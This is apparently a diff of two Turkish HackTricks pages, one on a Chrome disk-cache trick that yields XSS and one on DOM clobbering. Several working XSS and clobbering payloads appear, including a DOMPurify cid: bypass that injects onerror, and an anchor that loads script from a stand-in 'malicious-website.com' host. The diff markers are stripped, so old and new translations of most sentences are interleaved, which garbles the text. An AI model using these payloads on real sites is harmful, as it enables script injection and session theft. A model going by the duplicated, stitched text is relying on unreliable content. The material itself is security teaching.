# Chrome Cache to XSS
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Özel [**NFT'lerimizden oluşan PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Daha ayrıntılı bilgiler [**bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote) bulunmaktadır.
Daha derinlemesine detaylar [**bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Burada tartışılan teknik, iki temel önbellek türünün davranışını ve etkileşimini anlamayı içerir: **geri/ileri önbelleği (bfcache)** ve **disk önbelleği**. bfcache, JavaScript yığını da dahil olmak üzere bir sayfanın tam bir anlık görüntüsünü depolar ve daha kapsamlı bir anlık görüntü depolama yeteneğine sahip olduğu için geri/ileri gezinmelerinde disk önbelleğinden önceliklidir. Öte yandan, disk önbelleği, JavaScript yığını içermeyen web'den alınan kaynakları depolar ve geri/ileri gezinmelerde iletişim maliyetlerini azaltmak için kullanılır. Disk önbelleğinin ilginç bir yönü, `fetch` kullanılarak alınan kaynakları içermesidir, bu da tarayıcının önbellekten erişilen URL kaynaklarını render etmesi anlamına gelir.
Burada tartışılan teknik, iki ana önbellek türünün davranışını ve etkileşimini anlamayı içerir: **back/forward cache (bfcache)** ve **disk cache**. JavaScript yığınını da içeren bir sayfanın tam anlık görüntüsünü saklayan bfcache, daha kapsamlı bir anlık görüntü saklama yeteneği nedeniyle geri/ileri navigasyonlar için disk önbelleğinden önceliklidir. Disk önbelleği ise, JavaScript yığınını içermeden web'den alınan kaynakları saklar ve iletişim maliyetlerini azaltmak için geri/ileri navigasyonlarda kullanılır. Disk önbelleğinin ilginç bir yönü, `fetch` kullanılarak alınan kaynakları içermesidir; bu, erişilen URL kaynaklarının tarayıcı tarafından önbellekten işleneceği anlamına gelir.
### Ana Noktalar:
- Geri/ileri gezinmelerde **bfcache**, disk önbelleğinden önceliklidir.
- Bfcache'in yerine disk önbellekte depolanan bir sayfayı kullanmak için bfcache devre dışı bırakılmalıdır.
- **bfcache**, geri/ileri navigasyonlarda disk önbelleğinden önceliklidir.
- Disk önbelleğinde saklanan bir sayfayı kullanmak için, bfcache devre dışı bırakılmalıdır.
### Bfcache'in devre dışı bırakılması:
### bfcache'i Devre Dışı Bırakma:
Puppeteer varsayılan olarak bfcache'i devre dışı bırakır ve Chromium'un belgelerinde listelenen koşullarla uyum sağlar. Bfcache'i devre dışı bırakmanın etkili bir yöntemi, `RelatedActiveContentsExist` kullanarak `window.open()` ile bir sayfa açmak ve `window.opener` referansını korumaktır.
Varsayılan olarak, Puppeteer bfcache'i devre dışı bırakır ve bu, Chromium'un belgelerinde listelenen koşullarla uyumludur. bfcache'i devre dışı bırakmanın etkili bir yöntemi, `window.opener` referansını koruyan `window.open()` ile bir sayfa açarak `RelatedActiveContentsExist` kullanmaktır.
### Davranışın yeniden üretilmesi:
### Davranışı Yeniden Üretme:
1. Bir web sayfasını ziyaret edin, örneğin `https://example.com`.
2. `open("http://spanote.seccon.games:3000/api/token")` komutunu çalıştırın, bu 500 durum koduyla bir sunucu yanıtı alır.
3. Yeni açılan sekmede `http://spanote.seccon.games:3000/` adresine gidin. Bu işlem, `http://spanote.seccon.games:3000/api/token` yanıtını disk önbelleğe bir önbellek olarak kaydeder.
4. `history.back()` kullanarak geri gidin. Bu işlem, önbelleğe alınan JSON yanıtının sayfada render edilmesine neden olur.
1. Bir web sayfasını ziyaret edin, örneğin, `https://example.com`.
2. `open("http://spanote.seccon.games:3000/api/token")` komutunu çalıştırın; bu, 500 durum kodu ile bir sunucu yanıtı alır.
3. Yeni açılan sekmede `http://spanote.seccon.games:3000/` adresine gidin. Bu işlem, `http://spanote.seccon.games:3000/api/token` yanıtını disk önbelleği olarak saklar.
4. Geri gitmek için `history.back()` kullanın. Bu işlem, sayfada önbelleğe alınmış JSON yanıtının işlenmesine neden olur.
Disk önbelleğin kullanıldığının doğrulanması, Google Chrome'daki DevTools kullanılarak teyit edilebilir.
Disk önbelleğinin kullanıldığını doğrulamak için Google Chrome'daki Geliştirici Araçları kullanılabilir.
Bfcache ve disk önbellek hakkında daha fazla ayrıntı için, sırasıyla [web.dev'deki bfcache hakkında](https://web.dev/i18n/en/bfcache/) ve [Chromium'un disk önbellek hakkındaki tasarım belgelerinde](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/) referanslar bulunabilir.
bfcache ve disk önbelleği hakkında daha fazla bilgi için, [web.dev'de bfcache](https://web.dev/i18n/en/bfcache/) ve [Chromium'un disk önbelleği tasarım belgeleri](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/) referanslarına bakabilirsiniz.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Özel [**NFT'lerimizden oluşan PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,36 +1,39 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
* **Bir siber güvenlik şirketinde çalışıyor musunuz?** **Şirketinizi HackTricks'te reklamını yapmak ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Temel Bilgiler**
HTML etiketlerinde **`id`** ve **`name`** özellikleriyle **JS bağlamında global değişkenler oluşturmak mümkündür**.
HTML etiketlerinde **`id`** ve **`name`** öznitelikleri ile **JS bağlamında** **global değişkenler** oluşturmak mümkündür.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Sadece** belirli öğeler, `embed`, `form`, `iframe`, `image`, `img` ve `object` öğeleri, **name özniteliğini** kullanarak global değişkenleri **clobber** edebilir.
**Sadece** belirli öğeler **name attribute** kullanarak globals'ı clobber edebilir, bunlar: `embed`, `form`, `iframe`, `image`, `img` ve `object`.
İlginç bir şekilde, bir **form öğesi** kullanarak bir değişkeni **clobber** ettiğinizde, öğenin kendisinin **`toString`** değerini alırsınız: `[object HTMLFormElement]` ancak **anchor** ile **`toString`** değeri anchor'ın **`href`** değeri olacaktır. Bu nedenle, **`a`** etiketi kullanarak clobber yaparsanız, **dize olarak işlendiğinde** **değeri kontrol** edebilirsiniz:
İlginç bir şekilde, bir **form element** kullanarak bir değişkeni **clobber** ettiğinizde, öğenin kendisinin **`toString`** değeri alırsınız: `[object HTMLFormElement]` ama **anchor** ile **`toString`** anchor'un **`href`** değeri olacaktır. Bu nedenle, **`a`** etiketi kullanarak clobber yaparsanız, **string** olarak **işlendiğinde** **değeri** **kontrol** edebilirsiniz:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Diziler ve Öznitelikler
### Diziler ve Özellikler
Bir dizi ve nesne özniteliğini **clobber** etmek de mümkündür:
Bir **diziyi** ve **nesne özelliklerini** de **çökmek** mümkündür:
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**Bir 3. özniteliği (örneğin x.y.z) clobberlamak** için bir **`form`** kullanmanız gerekmektedir:
**3. bir niteliği** (örneğin x.y.z) etkisiz hale getirmek için bir **`form`** kullanmalısınız:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,17 +50,17 @@ console.log(x.y)//controlled
alert(x.y.z.value)//controlled
</script>
```
Daha fazla özniteliği clobberlemek **daha karmaşık ama hala mümkün**, iframeler kullanılarak:
Daha fazla özelliği clobberlamak **daha karmaşık ama yine de mümkündür**, iframe'ler kullanarak:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Stil etiketi, iframe'in render işlemini yapması için yeterli zamanı vermek için kullanılır. Bu olmadan, bir **tanımsız** uyarısıyla karşılaşacaksınız.
style etiketi **iframe'in render edilmesi için yeterince zaman vermek** amacıyla kullanılır. Bunu yapmadan **undefined** uyarısı alırsınız.
{% endhint %}
Daha derin öznitelikleri clobberlemek için, aşağıdaki gibi **html kodlamasıyla iframe'ler** kullanabilirsiniz:
Daha derin özellikleri clobber etmek için, **html kodlaması ile iframeler** kullanabilirsiniz:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
@ -65,9 +68,9 @@ Daha derin öznitelikleri clobberlemek için, aşağıdaki gibi **html kodlamas
alert(a.b.c.d.e)//controlled
</script>
```
### **Filtre Atlama**
### **Filtre Atlatma**
Bir filtre, `document.getElementByID('x').attributes` gibi bir şey kullanarak bir düğümün **özelliklerini** döngüyle geçiyorsa, **`.attributes`** özniteliğini **clobber** edebilir ve filtreyi **kırabilirsiniz**. **`tagName`**, **`nodeName`** veya **`parentNode`** gibi diğer DOM özellikleri de **clobberable** olabilir.
Eğer bir filtre, bir düğümün **özellikleri** üzerinden `document.getElementByID('x').attributes` gibi bir şey kullanarak **dönüyorsa**, **.attributes** niteliğini **geçersiz kılabilir** ve **filtreyi bozabilirsiniz**. Diğer DOM özellikleri, **`tagName`**, **`nodeName`** veya **`parentNode`** gibi ve daha fazlası da **geçersiz kılınabilir**.
```html
<form id=x></form>
<form id=y>
@ -78,17 +81,17 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **`window.someObject`'ı Clobberlama**
## **Clobbering `window.someObject`**
JavaScript'te sıkça şu şekilde karşılaşılır:
JavaScript'te şunu bulmak yaygındır:
```javascript
var someObject = window.someObject || {};
```
Sayfa üzerinde HTML manipülasyonu, `someObject`'i bir DOM düğümüyle geçersiz kılmanıza ve potansiyel olarak güvenlik açıklarına neden olmanıza olanak tanır. Örneğin, `someObject`'i kötü amaçlı bir betiğe işaret eden bir bağlantı elemanıyla değiştirebilirsiniz:
HTML'yi sayfada manipüle etmek, `someObject`'ı bir DOM düğümü ile geçersiz kılmayı sağlar ve bu da potansiyel olarak güvenlik açıkları oluşturabilir. Örneğin, `someObject`'ı kötü niyetli bir betiğe işaret eden bir bağlantı öğesi ile değiştirebilirsiniz:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
Zararlı bir kodda şu gibi bir açık bulunabilir:
Bir açık kodda şöyle:
```html
<script>
window.onload = function(){
@ -99,27 +102,27 @@ document.body.appendChild(script);
};
</script>
```
Bu yöntem, istenmeyen kodları çalıştırmak için betik kaynağını kullanır.
Bu yöntem, istenmeyen kodu çalıştırmak için script kaynağını kullanır.
**Hile**: **`DOMPurify`**, **`cid:`** protokolünü kullanmanıza olanak tanır, bu da **çift tırnakları URL kodlaması yapmadığı anlamına gelir**. Bu, **çalışma zamanında kodun çözümleneceği kodlanmış çift tırnakları enjekte edebileceğiniz** anlamına gelir. Bu nedenle, **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** gibi bir şey enjekte etmek, HTML kodlu `&quot;`'nin **çalışma zamanında çözümleneceğini** ve **öznitelik değerinden kaçacağını** ve **`onerror`** olayını **oluşturacağını** yapar.
**Hile**: **`DOMPurify`**, **`cid:`** protokolünü kullanmanıza izin verir, bu da **çift tırnakları URL-encode etmez**. Bu, **çalışma zamanında çözülecek bir kodlanmış çift tırnağı enjekte edebileceğiniz anlamına gelir**. Bu nedenle, **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** gibi bir şey enjekte etmek, HTML kodlanmış `&quot;`'ın **çalışma zamanında çözüleceği** ve **özellik değerinden kaçacağı** için **`onerror`** olayını **oluşturur**.
Başka bir teknik, bir **`form`** öğesi kullanır. Belirli bir istemci tarafı kitaplığı, yeni oluşturulan bir form öğesinin özniteliklerini temizlemek için bunları kontrol eder. Ancak, formun içine `id=attributes` olan bir `input` ekleyerek, öznitelikler özelliğini etkili bir şekilde üzerine yazarsınız ve temizleyicinin gerçek özniteliklere erişmesini engellersiniz.
Başka bir teknik, bir **`form`** öğesi kullanır. Belirli istemci tarafı kütüphaneleri, yeni oluşturulan bir form öğesinin özelliklerini temizlemek için inceler. Ancak, formun içine `id=attributes` olan bir `input` ekleyerek, özellikler özelliğini etkili bir şekilde geçersiz kılarsınız ve temizleyicinin gerçek özelliklere erişmesini engellersiniz.
Bu tür bir üzerine yazma örneğini [**bu CTF yazısında bulabilirsiniz**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
Bu tür bir clobbering örneğini [**bu CTF yazısında bulabilirsiniz**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Belge nesnesi üzerine yazma
## Belge nesnesini clobbering
Belge Nesnesi'nin özniteliklerini DOM Clobbering kullanarak üzerine yazmak mümkündür:
Belgelerine göre, DOM Clobbering kullanarak belge nesnesinin özelliklerini geçersiz kılmak mümkündür:
> [Belge](https://html.spec.whatwg.org/multipage/dom.html#document) arayüzü [isimli özellikleri destekler](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Herhangi bir anda bir [Belge](https://html.spec.whatwg.org/multipage/dom.html#document) nesnesinin desteklenen özellik adları, aşağıdakileri içerir: [ağaç sırasına](https://dom.spec.whatwg.org/#concept-tree-order) göre, katkıda bulunan öğeye göre, daha sonraki yinelenmeleri yok sayarak ve aynı öğe hem ad hem de ad özniteliği katkıda bulunduğunda, ad özniteliği değerleri ad özniteliklerinden önce gelir:
> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) arayüzü [adlandırılmış özellikleri destekler](https://webidl.spec.whatwg.org/#dfn-support-named-properties). [Document](https://html.spec.whatwg.org/multipage/dom.html#document) nesnesinin [desteklenen özellik adları](https://webidl.spec.whatwg.org/#dfn-supported-property-names) her an için aşağıdakilerden oluşur, [ağaç sırasına](https://dom.spec.whatwg.org/#concept-tree-order) göre, katkıda bulunan öğeye göre, sonraki kopyaları göz ardı ederek ve aynı öğe her ikisini de katkıda bulunduğunda, [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) özelliklerinden gelen değerlerin, ad özelliklerinden gelen değerlerden önce geldiği:
>
> \- İsimsiz olmayan ad içeriği olan tüm [ığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) ve [ığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri için ad içeriği değeri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler;\
> \- Boş olmayan bir ad içerik özelliğine sahip ve [bir belge ağacında](https://dom.spec.whatwg.org/#in-a-document-tree) belge kökü olarak bulunan tüm [ık](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) ve [ık](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri için ad içerik özelliğinin değeri;\
> \
> \- İsimsiz olmayan [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) içeriği olan tüm [ığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler;\
> \- Boş olmayan bir [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) içerik özelliğine sahip ve [bir belge ağacında](https://dom.spec.whatwg.org/#in-a-document-tree) belge kökü olarak bulunan tüm [ık](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri için [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) içerik özelliğinin değeri;\
> \
> \- İsimsiz olmayan [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) ve isim içeriği olan tüm [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) öğeleri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler.
> \- Boş olmayan bir [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) içerik özelliğine ve boş olmayan bir ad içerik özelliğine sahip olan ve [bir belge ağacında](https://dom.spec.whatwg.org/#in-a-document-tree) belge kökü olarak bulunan tüm [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) öğeleri için [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) içerik özelliğinin değeri.
Bu teknik kullanılarak yaygın olarak kullanılan **değerlerin üzerine yazabilirsiniz, örneğin `document.cookie`, `document.body`, `document.children`** ve hatta `document.querySelector` gibi Belge arayüzündeki yöntemler.
Bu tekniği kullanarak, yaygın olarak kullanılan **`document.cookie`, `document.body`, `document.children`** gibi değerleri ve hatta `document.querySelector` gibi Document arayüzündeki yöntemleri geçersiz kılabilirsiniz.
```javascript
document.write("<img name=cookie />")
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Element ezildikten sonra yazma
## Eleman clobbering'den sonra yazma
**`document.getElementById()`** ve **`document.querySelector()`** çağrılarının sonuçları, aynı id özniteliğine sahip bir `<html>` veya `<body>` etiketi enjekte edilerek değiştirilebilir. İşte nasıl yapılacağı:
**`document.getElementById()`** ve **`document.querySelector()`** çağrılarının sonuçları, aynı id niteliğine sahip bir `<html>` veya `<body>` etiketi enjekte edilerek değiştirilebilir. İşte bunun nasıl yapılacağı:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Ayrıca, bu enjekte edilmiş HTML/body etiketlerini gizlemek için stiller kullanarak, `innerText` içindeki diğer metinlerin müdahalesi engellenebilir ve böylece saldırının etkinliği artırılabilir:
Ayrıca, bu enjekte edilmiş HTML/body etiketlerini gizlemek için stiller kullanarak, `innerText` içindeki diğer metinlerden gelen müdahale önlenebilir ve böylece saldırının etkinliği artırılabilir:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -162,7 +165,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
SVG araştırmaları, `<body>` etiketinin de etkili bir şekilde kullanılabileceğini ortaya çıkardı:
SVG ile yapılan araştırmalar, bir `<body>` etiketinin de etkili bir şekilde kullanılabileceğini ortaya koydu:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -170,7 +173,7 @@ SVG araştırmaları, `<body>` etiketinin de etkili bir şekilde kullanılabilec
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
HTML etiketinin Chrome ve Firefox gibi tarayıcılarda SVG içinde çalışabilmesi için `<foreignobject>` etiketi gereklidir:
SVG'de HTML etiketinin Chrome ve Firefox gibi tarayıcılarda çalışabilmesi için bir `<foreignobject>` etiketi gereklidir:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -182,9 +185,9 @@ HTML etiketinin Chrome ve Firefox gibi tarayıcılarda SVG içinde çalışabilm
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Formları Clobbering
## Clobbering Forms
Bazı etiketlerin içine `form` özniteliğini belirterek bir formun içine **yeni girişler eklemek** mümkündür. Bu yöntemi kullanarak bir formun içine **yeni değerler ekleyebilir** ve hatta **göndermek için yeni bir düğme** bile ekleyebilirsiniz (clickjacking veya bazı `.click()` JS kodunu kötüye kullanma):
Bir **formun içine yeni girişler eklemek** mümkündür, sadece bazı etiketler içinde **`form` niteliğini belirterek**. Bunu, **formun içine yeni değerler eklemek** ve hatta yeni bir **buton** eklemek için kullanabilirsiniz **göndermek için** (clickjacking veya bazı `.click()` JS kodlarını kötüye kullanarak):
{% code overflow="wrap" %}
```html
@ -198,7 +201,7 @@ Click to send!
```
{% endcode %}
* Daha fazla form özniteliği için [**burayı kontrol edin**](https://www.w3schools.com/tags/tag\_button.asp)**.**
* Daha fazla form özniteliği için [**buton için buraya bakın**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Referanslar
@ -206,14 +209,17 @@ Click to send!
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Bir hacker gibi düşünmeyi öğrenin.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

